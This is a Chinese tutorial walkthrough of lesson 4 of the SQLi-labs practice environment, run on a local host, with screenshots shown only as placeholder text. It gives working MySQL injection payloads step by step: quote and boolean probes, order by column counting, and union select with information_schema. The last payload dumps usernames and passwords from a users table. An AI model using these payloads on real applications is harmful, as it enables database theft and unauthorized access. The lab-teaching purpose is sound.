SQLI Labs 第四课(判断是否存在注入以及注入攻击)

来源:互联网 发布:淘宝欢乐逛如何使用 编辑:程序博客网 时间:2024/05/16 10:08

进入127.0.0.1第四课,根据要求输入id=1

这里写图片描述

测试1 and 1=1

这里写图片描述
返回正常

测试1 and 1=2

这里写图片描述
返回正常

测试’

这里写图片描述
返回还是正常!
可能出现了我们之前没有遇到过的语法。和我们之前猜测的语法有出入。

测试一下”

这里写图片描述
这里出现了一个错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”“) LIMIT 0,1’ at line 1

重点: near ‘“1”“) LIMIT 0,1’ at line 1
分析:

 near '       "      1"     ") LIMIT 0,1       ' at line 1 最外面的单引号是标识错误。 中间的1"是我们输入的内容。现在猜测数据库语句可能是:select name,password from user where id=("input")

现在根据猜测的语句来进行测试: 1”)and (“1”=”2
这里写图片描述
界面发生了改变,说明我们猜测的数据库语句是正确的。
存在注入现象。

现在进入攻击注入:

首先我们要猜测一下字段位数

使用order by +数字进行测试order by +数字代表是哪一个字段接下来我们使用 order by来进行测试

使用 order by 4进行测试
这里写图片描述

错误提示我们4不存在。现在进行3的测试。

这里写图片描述

现在发现正常显示,所以数据库里应该有三列。接来下要进行显示位进行判断。
使用union进行判断。union:合并两个查询语句。

这里写图片描述

我们在这里发现是在2,3位进行显示的。现在我们需要查看敏感信息。但是使用的数据库类型是什么?我们不知道,需要进行一定的判断。由于使用--+可以进行注释,那么数据库是mysql或者Oracle现在使用;来进行判断,如果是Oracle会进行报错。

这里写图片描述

我们发现使用分号没有出错。现在知道我们使用的数据库是MYSQL。现在需要使用MYSQL语句来对对应数据库名的爆出。
使用数据库语句:    concat(user(),0x20,database(),0x20,version())    concat:字符串连接    user()是获取当前登录的用户名。    0x20表示空格    version()数据库名称

这里写图片描述

这里获得了数据数据库的名称:security。知道了数据库的名称了之后,这个时候就要获得表名了

使用的语句

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

这里写图片描述

我们得到了该数据库中的所有表明。我们看到users表。这里可能会得到我们需要的隐私信息。
使用语句:union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

这里写图片描述

我们已经获得了基本字段,可以根据基本字段去查询数据表的具体信息了

?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from  users --+

这里写图片描述

23333,到这里注入就结束啦,我们已经获得了我们想知道的所有信息。                                                            2017年7月25日21:33:23                                                            N:HAI_
原创粉丝点击